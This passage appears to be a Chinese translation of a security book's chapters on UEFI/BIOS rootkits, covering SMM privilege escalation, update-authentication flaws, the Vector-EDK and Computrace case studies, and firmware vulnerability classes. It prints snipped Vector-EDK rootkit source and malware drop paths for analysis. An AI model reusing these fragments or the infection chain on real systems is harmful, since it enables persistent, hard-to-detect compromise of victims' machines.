具体来说,Thunderstrike 加载了原始的 Option ROM 驱动程序,并加入了额外的代码,随后该代码在固件没有对 Option ROM 扩展驱动程序进行身份验证的情况下被执行(此攻击在苹果 MacBook 上演示过,但同样可以应用于其他硬件)。苹果在其硬件上修复了这个问题,但许多其他厂商仍然可能容易受到这种攻击。

表 15-1 中列出的许多 BIOS 漏洞已经在现代硬件和操作系统中得到了修复,例如 Windows 的较新版本,当硬件和固件支持时,Secure Boot 默认启用。我们将在第十七章中更详细地讨论 Secure Boot 的实现方法和弱点,但目前可以简单地说,任何缺乏严格认证要求的加载固件或扩展驱动程序都可能成为安全问题。在现代企业硬件上,第三方 Option ROM 通常默认被阻止,但可以在 BIOS 管理界面中重新启用,如图 15-5 所示。

image

图 15-5:在 BIOS 管理界面中阻止第三方 Option ROM

在 Thunderstrike PoC 发布后,包括苹果在内的一些厂商变得更加积极地阻止所有未签名或第三方 Option ROM。我们认为这是正确的政策:需要加载第三方 Option ROM 的情况很少,而且阻止所有第三方设备的 Option ROM 可以显著降低安全风险。如果你正在使用带有 Option ROM 的外设扩展,请确保从与设备相同的供应商处购买;购买随机的并不值得冒这个险。

添加或修改 DXE 驱动程序

现在让我们来看一下列表中的第二种攻击类型:在 UEFI 固件映像中添加或修改 DXE 驱动程序。本质上,这种攻击相当简单:通过修改固件中的合法 DXE 驱动程序,攻击者能够引入恶意代码,该代码将在预启动环境中的 DXE 阶段执行。然而,这种攻击最有趣(也可能是最复杂)的一部分是添加或修改 DXE 驱动程序,这涉及到利用 UEFI 固件、操作系统和用户模式应用程序中的漏洞,形成复杂的攻击链。

修改 UEFI 固件映像中的 DXE 驱动程序的一种方式是绕过我们在本章前面讨论的 SPI 闪存保护位,通过利用特权升级漏洞。提高的特权允许攻击者通过关闭保护位来禁用 SPI 闪存保护。

另一种方法是利用 BIOS 更新过程中的漏洞,允许攻击者绕过更新认证并将恶意代码写入 SPI 闪存。让我们来看看这些方法是如何被用来感染 BIOS 的恶意代码。

注意

这两种方法并不是修改受保护的 SPI 闪存内容的唯一途径,但我们在这里重点讨论它们,以说明恶意 BIOS 代码是如何在受害者的计算机上持久存在的。第十六章提供了 UEFI 固件中漏洞的更全面列表。

理解 Rootkit 注入

大多数用户的机密和敏感信息都存储在操作系统的内核级别,或受到在该级别运行的代码保护。这就是为什么 Rootkit 长期以来一直试图妥协内核模式(“Ring 0”):从这个层次,Rootkit 可以观察所有用户活动,或针对特定的用户模式(“Ring 3”)应用程序,包括这些应用程序加载的任何组件。

然而,在某些方面,Ring 0 Rootkit 处于劣势:它缺乏用户模式上下文。当从内核模式运行的 Rootkit 试图窃取一个 Ring 3 应用程序持有的数据时,Rootkit 并没有获得该数据最自然的视图,因为内核模式的设计本来就不应该意识到用户级的数据抽象。因此,内核模式 Rootkit 通常不得不使用某些技巧来重构这些数据,尤其是当数据分布在多个内存页面时。因此,内核模式 Rootkit 需要巧妙地重用实现用户级抽象的代码。然而,由于只有一层分离,这种代码重用并不特别棘手。

SMM 添加了一个更好的目标,但也增加了与用户级抽象之间的另一个分离层次。基于 SMM 的 Rootkit 可以通过控制任何物理内存页面来控制内核级和用户级的内存。然而,SMM 级恶意代码的这个优势也是其弱点,因为这段代码必须可靠地重新实现上层抽象,如虚拟内存,并处理这一任务中涉及的所有复杂性。

幸运的是,对于攻击者而言,SMM Rootkit 可以通过类似于引导程序的方式将恶意的 Ring 0 Rootkit 模块注入操作系统内核,而不仅仅是在引导时。然后,它可以依赖这段代码在内核模式上下文中使用内核模式结构,同时保护这些代码免受内核级安全工具的检测。关键是,基于 SMM 的代码可以选择植入的注入点。

具体而言,固件植入物甚至可以绕过一些安全启动实现——这是直接的启动工具无法做到的,它通过将感染点移动到完整性检查完成之后来实现。在图 15-6 中,我们展示了交付方式如何从一个简单的用户模式(Ring 3)加载器的交付方案演变而来,该加载器利用漏洞提升权限,安装恶意的内核模式(Ring 0)驱动程序。然而,缓解措施的演变赶上了这一方案。微软的内核模式签名政策使其无效,并开启了启动工具时代,而安全启动技术则应运而生以应对这一问题。随后,SMM 威胁出现,试图破坏安全启动。

image

图 15-6:加载 Ring 0 根工具的可能方式

截至本文写作时,SMM 威胁已经成功绕过了大多数基于 Intel 的平台的安全启动。SMM 根工具和植入物再次将安全边界下移,接近物理硬件。

随着 SMM 威胁日益严重,固件的取证分析成为一个新兴且非常重要的研究领域。

通过 SMM 权限提升注入恶意代码

为了提升权限到 SMM 级别,以便能够修改 SPI 闪存内容,攻击者必须利用操作系统的回调接口,这些接口由系统管理中断(SMI)处理程序处理(我们将在第十六章中详细讨论 SMI 处理程序)。负责操作系统硬件接口的 SMI 处理程序是在 SMM 中执行的,因此如果攻击者能够利用 SMM 驱动程序中的漏洞,他们可能获得 SMM 执行权限。以 SMM 权限执行的恶意代码可以禁用 SPI 闪存保护位,并在某些平台上修改或添加 DXE 驱动程序到 UEFI 固件中。

要理解这种攻击,我们需要考虑从操作系统层级持久化感染方案的攻击策略。攻击者需要做什么才能修改 SPI 闪存内存?图 15-7 展示了必要的步骤。

image

图 15-7:UEFI 根工具感染的通用方案

如我们所见,利用路径相当复杂,涉及多个层级的漏洞利用。让我们将这个过程分解为几个阶段:

阶段 1,用户模式 客户端漏洞利用,如网页浏览器的远程代码执行(RCE),将恶意安装程序放到系统上。然后,安装程序使用提升权限漏洞来获得对LOCALSYSTEM的访问权限,并以这些新权限继续执行。

阶段 2,内核模式 安装程序绕过代码签名策略(在第六章中讨论)以在内核模式下执行其代码。内核模式有效载荷(驱动程序)运行一个漏洞利用程序来获得 SMM 权限。

阶段 3,系统管理模式 SMM 代码成功执行,特权提升到 SMM。SMM 负载禁用了 SPI 闪存内存修改的保护。

阶段 4,SPI 闪存 所有 SPI 闪存保护都被禁用,闪存内存可进行任意写入。然后,rootkit/植入程序被安装到 SPI 闪存芯片的固件中。这个漏洞可以在系统中达到非常高的持久性。

这个图 15-8 的通用感染模式实际上展示了一个 SMM 勒索病毒 PoC 的真实案例,我们在 2017 年 Black Hat Asia 会议上进行了展示。该报告名为“UEFI 固件 Rootkit:神话与现实”,如果你想了解更多,推荐阅读它(www.blackhat.com/docs/asia-17/materials/asia-17-Matrosov-The-UEFI-Firmware-Rootkits-Myths-And-Reality.pdf)。

利用 BIOS 更新过程中的(不)安全性

注入恶意代码到 BIOS 的另一种方式是滥用 BIOS 更新认证过程。BIOS 更新认证旨在防止无法验证真实性的 BIOS 更新安装,确保只有平台供应商发布的 BIOS 更新映像被授权安装。如果攻击者能够利用该认证机制中的漏洞,他们就能将恶意代码注入到更新映像中,并随后写入 SPI 闪存。

2017 年 3 月,本书的作者之一 Alex Matrosov 在 Black Hat Asia 演示了一个 UEFI 勒索病毒 PoC(www.cylance.com/en_us/blog/gigabyte-brix-systems-vulnerabilities.html)。他的 PoC 展示了 Gigabyte 实施的弱更新过程如何被利用。他使用了 Gigabyte 的一个基于英特尔第六代 CPU(Skylake)和微软 Windows 10 的最新平台,且启用了所有保护措施,包括带有 BLE 位的安全启动。尽管有这些保护措施,Gigabyte Brix 平台没有对更新进行身份验证,因此允许攻击者从操作系统内核安装任何固件更新(www.kb.cert.org/vuls/id/507496/)。图 15-8 展示了 Gigabyte Brix 硬件上 BIOS 更新过程中的漏洞。

image

图 15-8:UEFI 勒索病毒感染算法

正如我们所看到的,攻击者可以利用硬件厂商提供并签名的 BIOS 更新软件中的原始内核模式驱动程序,来交付恶意的 BIOS 更新。该驱动程序与 SWSMI 处理程序 SmiFlash 通信,SmiFlash 具有读写 SPI 闪存的接口。特别是为了这次展示,其中一个 DXE 驱动程序被修改并在 SMM 中执行,以演示在 UEFI 固件中可能实现的最高级别的持久性,并控制从最早的启动阶段开始的启动过程。如果 UEFI 勒索软件感染成功,目标机器会显示 图 15-9 中所示的赎金信息。

image

图 15-9: 2017 年 Black Hat Asia 活动中的 UEFI 勒索软件感染屏幕

在传统的 BIOS 固件中,在 UEFI 成为行业标准之前,主流硬件厂商并没有过多考虑固件更新的认证安全性。这意味着他们在面对恶意 BIOS 植入时非常脆弱;当这些植入开始出现时,厂商们才被迫关注这个问题。如今,为了抵御此类攻击,UEFI 固件更新采用了统一格式,称为 Capsule 更新,详细描述见 UEFI 规范。Capsule 更新的开发旨在提供一种更好的 BIOS 更新交付过程。让我们通过前面提到的 Intel EDK2 仓库来详细了解它。

Capsule 更新改进

Capsule 更新包含一个头部(在 EDK2 标注中为EFI_CAPSULE_HEADER)和一个主体,用于存储关于更新可执行模块的所有信息,包括 DXE 和 PEI 驱动程序。Capsule 更新镜像包含了更新数据的强制数字签名,以及用于认证和完整性保护的代码。

让我们通过 Nikolaj Schlej 开发的 UEFITool 工具来查看 Capsule 更新镜像的布局 (github.com/LongSoft/UEFITool)。这个工具允许我们解析 UEFI 固件镜像,包括那些包含在 UEFI Capsule 更新中的镜像,并提取不同的 DXE 或 PEI 可执行模块作为独立的二进制文件。我们将在 第十九章 中回到 UEFITool 的讨论。

图 15-10 展示了 UEFI Capsule 更新在 UEFITool 输出中的结构。

image

图 15-10: UEFITool 界面

capsule 镜像从一个头部➊开始,描述了更新镜像的一般参数,如头部大小和更新镜像大小。然后我们看到 capsule 体,通常由一个固件卷 ➋组成。(固件卷是在平台初始化规范中定义的对象,用于存储固件文件镜像,包括 DXE 和 PEI 模块。我们将在第十九章中详细讨论它们。)此固件卷包含实际的 BIOS 更新数据,要写入 SPI 闪存内存的多个固件文件:例如,BootBlockAreas ➌和RecoveryAreas ➍包含 PEI 阶段的更新,而MainAreas ➎包含 DXE 阶段的更新。

重要的一点是,包含 BIOS 更新的固件卷内容是有签名的(尽管 UEFITool 在图 15-11 中未显示此信息)。因此,攻击者无法在不使数字签名失效的情况下对更新进行修改。如果实施得当,Capsule Update 可以防止攻击者利用未经认证的固件更新。

野外的 UEFI 根工具

自从卡巴斯基实验室在 2015 年发现 UEFI 恶意软件以来,我们已经看到多篇媒体报道了更为复杂的根工具,声称是由国家级行为者开发的。在本章的其余部分,我们将讨论其他 UEFI 根工具的例子,包括那些已被商业组织广泛部署的工具,如 Vector-EDK 和 Computrace。

黑客团队的 Vector-EDK 根工具

2015 年,一家为执法机构和其他政府客户开发间谍软件的意大利公司——黑客团队,遭到攻击,公司的大量机密信息被曝光,其中包括一个名为Vector-EDK的有趣项目的描述。对这一泄漏事件的分析揭示,Vector-EDK 是一个 UEFI 固件根工具,它直接在 Windows 的用户模式 NTFS 子系统中安装并执行其恶意组件。

Alex Matrosov,本书的作者之一,当时是 Intel 高级威胁研究(ATR)组的成员,意识到 Vector-EDK 的攻击潜力,并发布了博客文章《黑客团队的‘坏 BIOS’:一种商业根工具用于 UEFI 固件?》(www.mcafee.com/enterprise/en-us/threat-center/advanced-threat-research/uefi-rootkit.html)。

发现 Vector-EDK

当我们在一个被泄露的黑客团队邮件中发现一个名为Z5WE1X64.fd的奇怪文件,并附在一个名为Uefi_windows_persistent.zip的压缩文件中时,我们的调查便开始了(见图 15-11)。

image

图 15-11:来自黑客团队档案中的一封泄露邮件

在我们分析附件后,很明显它是一个 UEFI 固件映像,经过进一步阅读泄露的几封邮件后,我们看到我们正在处理的是一个 UEFI rootkit。使用 UEFITool 进行的快速调查揭示了在 DXE 驱动列表中有一个暗示性的名称 rkloader(暗示 rootkit loader)。图 15-12 显示了我们的分析结果。

image

图 15-12:使用 UEFITool 检测 Hacking Team Vector-EDK

这引起了我们的注意,因为我们之前从未遇到过这个名称的 DXE 驱动。我们更加仔细地查看了泄露的档案,发现了 Vector-EDK 项目的源代码。这就是我们的技术调查真正开始的地方。

分析 Vector-EDK

Vector-EDK rootkit 使用了之前讨论过的 UEFI 植入(rkloader)传递方法。然而,这个 rootkit 仅在 DXE 阶段工作,无法在 BIOS 更新后存活。在感染的 Z5WE1X64.fd BIOS 映像中,有三个主要模块:

NTFS 解析器 (Ntfs.efi) 一款 DXE 驱动,包含完整的 NTFS 解析器,用于读写操作。

Rootkit (rkloader.efi) 一款 DXE 驱动,注册了一个回调函数,用来拦截 EFI_EVENT_GROUP_READY_TO_BOOT 事件(这表明平台已准备好执行操作系统引导程序),并在操作系统引导开始之前加载 fsbg.efi UEFI 应用程序。

Bootkit (fsbg.efi) 一款 UEFI 应用程序,在 BIOS 将控制权传递给操作系统引导程序之前运行。它包含了主要的 bootkit 功能,解析 NTFS 文件系统并使用 Ntfs.efi 将恶意软件注入文件系统。

我们分析了泄露的 Vector-EDK 源代码,并发现组件 rkloader.efifsbg.efi 实现了 rootkit 的核心功能。

首先,让我们来看一下 rkloader.efi,它会运行 fsbg.efi。列表 15-4 显示了 UEFI DXE 驱动 rkloader 的主要例程 _ModuleEntryPoint()

EFI_STATUS

EFIAPI

_ModuleEntryPoint (EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)

{

    EFI_EVENT Event;

    DEBUG((EFI_D_INFO, "Running RK loader.\n"));

    InitializeLib(ImageHandle, SystemTable);

    gReceived = FALSE;    // reset event!

    //CpuBreakpoint();

    // wait for EFI EVENT GROUP READY TO BOOT

 ➊ gBootServices->CreateEventEx( 0x200, 0x10,

                     ➋ &CallbackSMI, NULL, &SMBIOS_TABLE_GUID, &Event );

    return EFI_SUCCESS;

}

列表 15-4: rkloader 组件中的 _ModuleEntryPoint() 例程

我们发现例程 _ModuleEntryPoint() 只做了两件事,其中第一件是为事件组 EFI_EVENT_GROUP_READY_TO_BOOT 创建触发器 ➊。第二件事是在事件到达时,通过 CallbackSMI() 执行 SMI 处理程序 ➋。CreateEventEx() 例程的第一个参数表明 EFI_EVENT_GROUP_READY_TO_BOOT 的即时值是 0x200\。这个事件发生在操作系统引导程序接管控制之前,位于 BIOS DXE 阶段的末尾,允许恶意负载 fsbg.efi 在操作系统之前接管执行。

大部分有趣的逻辑都包含在 列表 15-5 中的 CallbackSMI() 例程内。这个例程的代码相当长,因此我们这里只展示了其流程中最重要的部分。

VOID

EFIAPI

CallbackSMI (EFI_EVENT Event, VOID *Context)

{

   --snip--

➊ EFI_LOADED_IMAGE_PROTOCOL       *LoadedImage;

   EFI_FIRMWARE_VOLUME_PROTOCOL    *FirmwareProtocol;

   EFI_DEVICE_PATH_PROTOCOL        *DevicePathProtocol,

                                   *NewDevicePathProtocol,

                                   *NewFilePathProtocol,

                                   *NewDevicePathEnd;

   --snip--

➋ Status = gBootServices->HandleProtocol( gImageHandle,

                                           &LOADED_IMAGE_PROTOCOL_GUID,

                                           &LoadedImage);

   --snip--

   DeviceHandle = LoadedImage->DeviceHandle;

➌ Status = gBootServices->HandleProtocol( DeviceHandle,

                                           &FIRMWARE_VOLUME_PROTOCOL_GUID,

                                           &FirmwareProtocol);

➍ Status = gBootServices->HandleProtocol( DeviceHandle,

                                           &DEVICE_PATH_PROTOCOL_GUID,

                                           &DevicePathProtocol);

   --snip--

   // copy "VOLUME" descriptor

➎ gBootServices->CopyMem( NewDevicePathProtocol,

                           DevicePathProtocol,

                           DevicePathLength);

   --snip--

➏ gBootServices->CopyMem( ((CHAR8 *)(NewFilePathProtocol) + 4),

                           &LAUNCH_APP, sizeof(EFI_GUID));

   --snip--

➐ Status = gBootServices->LoadImage( FALSE,

                                      gImageHandle,

                                      NewDevicePathProtocol,

                                      NULL,

                                      0,

                                      &ImageLoadedHandle);

   --snip--

done:

   return;

}

列表 15-5:来自 fsbg 组件的 CallbackSMI() 例程

首先我们看到多个 UEFI 协议初始化 ➊,例如:

EFI_LOADED_IMAGE_PROTOCOL 提供有关已加载 UEFI 映像的信息(映像基地址、映像大小以及映像在 UEFI 固件中的位置)。

EFI_FIRMWARE_VOLUME_PROTOCOL 提供读取和写入固件卷的接口。

EFI_DEVICE_PATH_PROTOCOL 提供构建设备路径的接口。

这里的有趣部分从多个 EFI_DEVICE_PATH_PROTOCOL 初始化开始;我们可以看到许多变量名以 New 为前缀,通常表示它们是钩子。LoadedImage 变量在 ➋ 时被初始化为指向 EFI_LOADED_IMAGE_PROTOCOL 的指针,之后 LoadedImage 可用于确定当前模块(rkloader)所在的设备。

接下来,代码获取 EFI_FIRMWARE_VOLUME_PROTOCOL ➌ 和 EFI_DEVICE_PATH_PROTOCOL ➍ 协议,这些协议用于构建指向 rkloader 所在设备的路径。这些协议对于构建下一个恶意模块的路径非常必要——即 fsbg.efi——从固件卷加载。

一旦获取到这些协议,rkloader 构建一个路径来加载 fsbg.efi 模块,从固件卷中加载它。路径的第一部分 ➎ 是 rkloader 所在固件卷的路径(fsbg.efi 就位于与 rkloader 完全相同的固件卷上),第二部分 ➏ 添加了 fsbg.efi 模块的唯一标识符:LAUNCH_APP = {eaea9aec-c9c1-46e2-9d52432ad25a9b0b}

最后一步是调用 LoadImage() 例程 ➐,该例程接管 fsbg.efi 模块的执行。这个恶意组件包含了主负载,并带有它想要修改的文件系统的直接路径。列表 15-6 提供了 fsbg.efi 模块在其中丢弃操作系统级恶意模块的目录列表。

#define FILE_NAME_SCOUT L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\

Programs\\Startup\\"

#define FILE_NAME_SOLDIER L"\\AppData\\Roaming\\Microsoft\\Windows\\Start

Menu\\Programs\\Startup\\"

#define FILE_NAME_ELITE  L"\\AppData\\Local\\"

#define DIR_NAME_ELITE L"\\AppData\\Local\\Microsoft\\"

#ifdef FORCE_DEBUG

UINT16 g_NAME_SCOUT[] =   L"scoute.exe";

UINT16 g_NAME_SOLDIER[] = L"soldier.exe";

UINT16 g_NAME_ELITE[]   = L"elite";

#else

UINT16 g_NAME_SCOUT[] =   L"6To_60S7K_FU06yjEhjh5dpFw96549UU";

UINT16 g_NAME_SOLDIER[] = L"kdfas7835jfwe09j29FKFLDOR3r35fJR";

UINT16 g_NAME_ELITE[]   = L"eorpekf3904kLDKQO023iosdn93smMXK";

#endif

列表 15-6:操作系统级组件的硬编码路径

高层次上,fsbg.efi 模块遵循以下步骤:

  1. 检查系统是否已经通过预定义的 UEFI 变量 fTA 被主动感染。

  2. 初始化 NTFS 协议。

  3. 通过查看预定义的部分,在 BIOS 映像中寻找恶意可执行文件。

  4. 通过查看主目录中的名称来检查机器上是否有现有用户,以寻找特定目标。

  5. 通过直接写入 NTFS 安装恶意可执行模块 scoute.exe(后门)和 soldier.exe(RCS 代理)。

fTA UEFI 变量由 fsbg.efi 在第一次感染时安装,每次启动时都会检查其存在:如果变量 fTA 存在,则意味着活动感染已存在于硬盘上,fsbg.efi 不需要将操作系统级的恶意二进制文件传送到文件系统。如果在硬编码路径位置没有找到操作系统级的恶意组件(列表 15-6),fsbg.efi 模块将在启动过程中重新安装它们。

Hacking Team 的 Vector-EDK 是一个非常具有教育意义的 UEFI 启动工具包示例。我们强烈建议阅读其完整源代码,以更好地理解其工作原理。

Absolute Software 的 Computrace/LoJack

我们下一个 UEFI 根套件的示例并不完全是恶意的。Computrace,也叫 LoJack,实际上是一个由 Absolute Software 开发的常见专有防盗系统,几乎在所有流行的企业级笔记本电脑中都能找到。Computrace 实现了一个基于互联网的笔记本电脑追踪系统,并包含远程锁定和远程擦除硬盘等功能,以防笔记本丢失或被盗。

许多研究人员独立宣称 Computrace 从技术上讲是一个根套件,因为该软件的行为与 BIOS 根套件非常相似。然而,主要区别在于 Computrace 并不会试图隐藏其存在。其配置菜单甚至可以在 BIOS 设置菜单中找到(图 15-13)。

image

图 15-13: Lenovo ThinkPad T540p 中 BIOS 设置中的 Computrace 菜单

在非企业级计算机中,默认情况下 Computrace 通常在 BIOS 菜单中被禁用,如 图 15-13 所示。还有一个选项可以通过设置 NVRAM 变量来永久禁用 Computrace,该变量不允许重新激活 Computrace,并且只能在硬件中编程一次。

在这里,我们将分析 Computrace 在 Lenovo T540p 和 P50 笔记本电脑上的实现。我们对 Computrace 架构的概念性理解见于 图 15-14。

Computrace 拥有复杂的架构,包含多个 DXE 驱动程序,其中包括在 SMM 中运行的组件。它还包含一个代理程序,rpcnetp.exe,该程序在操作系统中执行,并负责与云(C&C 服务器)的所有网络通信。

LenovoComputraceEnableDxe 是一个 DXE 驱动程序,用于追踪 BIOS 菜单中的 Computrace 选项,以触发 LenovoComputraceLoaderDxe 的安装阶段。

LenovoComputraceLoaderDxe 是一个 DXE 驱动程序,用于验证安全策略并加载 AbsoluteComputraceInstallerDxe

AbsoluteComputraceInstallerDxe 是一个 DXE 驱动程序,它通过直接修改文件系统(NTFS)将 Computrace 代理程序安装到操作系统中。代理程序二进制文件被嵌入到 DXE 驱动程序映像中,如 图 15-15 所示。在现代笔记本电脑上,ACPI 表用于代理程序的安装。

image

图 15-14: Computrace 高级架构

image

图 15-15: AbsoluteComputraceInstallerDxe 二进制文件在 Hiew 十六进制编辑器中的显示

LenovoComputraceSmiServices 是一个 DXE 驱动程序,在 SMM 内部执行,以支持与 OS 代理和其他 BIOS 组件的通信。

Computrace 代理程序 (rpcnetp.exe) 是一个 PE 可执行映像,存储在 AbsoluteComputraceInstallerDxe 中。Computrace 代理程序在操作系统用户登录后执行。

Computrace 的rpcnetp.exe代理的主要功能是收集地理位置信息并将其发送到 Absolute Software 的云端。这是通过将 Computrace 的组件rpcnetp.dll注入到iexplore.exesvchost.exe进程中实现的,如图 15-16 所示。该代理还从云端接收命令,例如执行低级别硬盘擦除操作以安全删除文件。

image

*图 15-16: * rpcnetp.exe 进程注入方案

Computrace 是一个很好的例子,它看起来明显像一个 BIOS rootkit,但它为合法目的提供了持久功能,例如盗窃恢复。这种类型的持久性允许主要的 Computrace 组件独立于操作系统工作,并与 UEFI 固件深度集成。禁用 Computrace 需要攻击者付出比仅仅停止其操作系统代理组件更多的努力!

结论

BIOS rootkit 和植入物是 bootkit 的下一阶段进化。正如我们在本章所看到的,这一进化创造了一种新的固件持久性层次,尚未被杀毒软件解决,这意味着使用这些技术的恶意软件可以保持活动多年。我们尽力提供了关于 BIOS rootkit 的详细概述,从最初的 PoC 和野外样本到高级的 UEFI 植入物。然而,这一主题非常复杂,需要更多的章节来深入探讨。我们鼓励你访问提供的链接,进一步阅读,并关注我们的博客。

针对这种恶意软件的缓解方法仍然薄弱,但也有一个事实是,硬件厂商继续推出越来越复杂的安全启动实现,其中启动完整性检查从更早的启动步骤开始,甚至在 BIOS 运行之前就已启动。第十七章将更深入探讨现代安全启动的实现。在撰写本文时,安全行业才刚刚开始学习如何进行固件的法医调查,因为关于真实、实际发生的案例的信息不幸地仍然很少。我们将在最后一章中深入探讨更多的 UEFI 固件法医调查。

第十六章探讨了 UEFI 漏洞。据我们所知,迄今为止没有其他书籍在相同的详细程度上涵盖这一主题,因此请准备好!

第十六章:UEFI 固件漏洞

Image

目前的安全产品倾向于专注于操作软件堆栈高层的威胁,并取得了相当不错的成果。然而,这使得它们无法看到固件中的黑暗水域。如果攻击者已经获得系统的特权访问权限并安装了固件植入物,那么这些产品将毫无作用。

很少有安全产品检查固件,而且那些做检查的产品也仅限于操作系统级别,它们只能在植入物成功安装并破坏系统后,才能检测到其存在。更复杂的植入物还可以利用其在系统中的特权位置,避免被检测,并破坏操作系统级别的安全产品。

基于这些原因,固件 rootkit 和植入物是对个人电脑最危险的威胁之一,它们对现代云平台构成了更大的威胁,因为一个配置错误或被攻破的客户操作系统就会危及所有其他客户,暴露其内存并受到恶意操控。

检测固件异常是一个技术挑战,原因有很多。不同厂商提供的 UEFI 固件代码库各不相同,现有的检测异常方法在每种情况下都不有效。攻击者还可以利用检测方案的误报和漏报来他们的优势,甚至可能接管操作系统级别的检测算法用来访问和检查固件的接口。

保护免受固件 rootkit 攻击的唯一可行方法是防止其安装。检测和其他缓解措施无效;相反,我们必须阻止可能的感染途径。检测或防止固件威胁的解决方案仅在开发者完全控制软件和硬件堆栈时有效,就像苹果或微软那样。第三方解决方案总是会有盲点。

在本章中,我们将概述用于感染 UEFI 固件的大多数已知漏洞和利用途径。我们将首先检查易受攻击的固件,分类固件弱点和漏洞,并分析现有的固件安全措施。然后,我们将描述 Intel Boot Guard、SMM 模块、S3 启动脚本和 Intel 管理引擎中的漏洞。

是什么使固件容易受到攻击?

我们将从攻击者可能通过恶意更新攻击的固件开始讲解。更新是最有效的感染方法。

厂商通常将 UEFI 固件更新广义地描述为 BIOS 更新,因为 BIOS 是主要的固件,但典型的更新还会为主板内部的各种硬件单元,甚至 CPU 提供许多其他类型的嵌入式固件。

被篡改的 BIOS 更新会破坏由 BIOS 管理的所有其他固件更新的完整性保证(其中一些更新,如英特尔微码,具有额外的认证方法,不仅仅依赖 BIOS),因此,任何绕过 BIOS 更新镜像认证的漏洞,也为恶意根工具或植入物的传送打开了大门,可能影响这些设备中的任何一个。

图 16-1 展示了 BIOS 管理的典型固件单元,所有这些都容易受到恶意 BIOS 更新的影响。

image

图 16-1:现代基于 x86 计算机中不同固件的概述

以下是每种固件类型的简要描述:

电源管理单元(PMU) 一种微控制器,负责控制 PC 在不同电源状态之间的电源功能和过渡,例如睡眠和休眠。它包含自己的固件和低功耗处理器。

英特尔嵌入式控制器(EC) 一种始终开启的微控制器,支持多种功能,例如开关计算机、处理键盘信号、计算热量测量和控制风扇。它通过 ACPI、SMBus 或共享内存与主 CPU 通信。EC 与随后描述的英特尔管理引擎一起,可以在系统管理模式被破坏时充当安全信任根。例如,英特尔 BIOS 保护技术(厂商特定的实现)使用 EC 控制对 SPI 闪存的读/写访问。

英特尔集成传感器集线器(ISH) 一种微控制器,负责传感器,例如设备旋转检测器和自动背光调节器。它还可以负责这些传感器的一些低功耗睡眠状态。

图形处理单元(GPU) 一种集成图形处理器(iGPU),它是大多数现代英特尔 x86 计算机中平台控制器集线器(PCH)设计的一部分。GPU 具有自己的先进固件和计算单元,专注于生成图形,如着色器。

英特尔千兆网络 集成以太网卡用于基于 x86 的计算机,表现为连接到 PCH 的 PCIe 设备,并包含其固件,通过 BIOS 更新镜像提供。

英特尔 CPU 微码 CPU 的内部固件,是解释 ISA 的解释层。程序员可见的指令集架构(ISA) 是微码的一部分,但有些指令可以在硬件层面上更深入地集成。英特尔微码是硬件级指令的一层,实现更高层次的机器码指令和许多数字处理元素中的内部状态机序列。

认证代码模块 (ACM) 是一种签名的二进制文件,在缓存内存中执行。英特尔微代码在受保护的内部 CPU 内存中加载并执行,这块内存被称为认证代码 RAM (ACRAM),或缓存作为 RAM (CAR)。这块高速内存会在启动过程中较早初始化。在主内存被激活并且早期启动 ACM 代码(英特尔启动保护)的复位向量代码运行之前,它作为常规 RAM 使用;也可以在启动过程稍后加载。之后,它会被重新用于一般用途的缓存。ACM 由一个带有定义入口点的 RSA 二进制文件签名。现代的英特尔计算机可能有多个 ACM,用于不同的目的,但它们大多数用于支持额外的安全平台功能。

英特尔管理引擎 (ME) 是一款微控制器,为英特尔开发的多项安全功能提供根信任功能,包括与固件受信平台模块fTPM)的软硬件接口(通常,TPM 是端点设备上的专用芯片,用于硬件认证,并且通常包含独立的固件)。自英特尔第六代 CPU 起,英特尔 ME 是一款基于 x86 架构的微控制器。

英特尔主动管理技术 (AMT) 是用于远程管理个人计算机和服务器的硬件和固件平台。它提供对显示器、键盘和其他设备的远程访问。它包括英特尔基于芯片组的基础板管理控制器技术,专为客户平台设计(稍后讨论),并集成在英特尔的 ME 中。

基础板管理控制器 (BMC) 是一套计算机接口规范,用于管理和监控计算机子系统,该子系统独立于主机系统的 CPU、UEFI 固件和实时操作系统运行。BMC 通常在一个独立的芯片上实现,具有自己的以太网网络接口和固件。

系统管理控制器 (SMC) 是一款位于主板上的微控制器,用于控制电源功能和传感器。它通常出现在苹果生产的计算机中。

每个固件单元都可能成为攻击者存储和执行代码的机会,而所有单元又相互依赖以保持完整性。例如,Alex Matrosov 发现了近期某些技嘉硬件中的一个问题,ME 允许其内存区域被写入并从 BIOS 中读取。结合弱配置的英特尔启动保护,这个问题使我们能够完全绕过硬件的启动保护实现。(更多关于此漏洞的信息,请参考 CVE-2017–11313 和 CVE-2017–11314,供应商已确认并修复了此问题。)我们将在本章稍后讨论启动保护的实现及绕过方法。

BIOS rootkit 的主要目标是保持持续且隐蔽的感染,就像书中描述的内核模式 rootkit 和 MBR/VBR 启动根 kit 一样。然而,BIOS rootkit 可能有额外的有趣目标。例如,它可能尝试临时控制系统管理模式(SMM)或非特权驱动程序执行环境(DXE;在 SMM 之外执行),以进行内存或文件系统的隐藏操作。即使是从 SMM 执行的非持久性攻击,也能够绕过现代 Windows 系统中的安全边界,包括基于虚拟化的安全(VBS)和虚拟机来宾实例。

分类 UEFI 固件漏洞

在深入研究漏洞之前,让我们先分类 BIOS 植入安装可能针对的安全缺陷类型。图 16-2 中展示的所有漏洞类别都可以帮助攻击者突破安全边界并安装持久性植入物。

英特尔研究人员首次尝试根据攻击对漏洞潜在影响的不同,来对 UEFI 固件漏洞进行分类。他们在 2017 年的 Black Hat USA 大会上,展示了他们的分类方法,主题为“固件是新的黑色——分析过去三年 BIOS/UEFI 安全漏洞”(* www.youtube.com/watch?v=SeZO5AYsBCw*),该演讲涵盖了不同类别的安全问题以及一些缓解措施。它的一个重要贡献是提供了英特尔 PSIRT 处理的安全问题总数增长的统计数据。

我们有一种不同的安全问题分类方法,专注于固件 rootkit 的影响,如 图 16-2 所示。

注意

图 16-2 中表示的威胁模型仅涵盖与 UEFI 固件相关的流量,但英特尔 ME 和 AMT 的安全问题范围正在显著增加。此外,近年来,BMC 已成为远程管理服务器平台非常重要的安全资产,并且受到了研究人员的高度关注。

image

图 16-2:适用于安装 BIOS 植入物的 BIOS 漏洞分类

我们可以根据漏洞的使用方式对 图 16-2 中提出的漏洞类别进行分类,分为两大类:后期利用受损供应链

后期利用漏洞

后渗透漏洞通常被用作传递恶意载荷的第二阶段(该利用方案在第十五章中有详细解释)。这是攻击者利用的主要漏洞类别,在成功利用先前攻击阶段后安装持久和非持久植入物的过程中被利用。以下是此类别中主要植入物、利用和漏洞的类别。

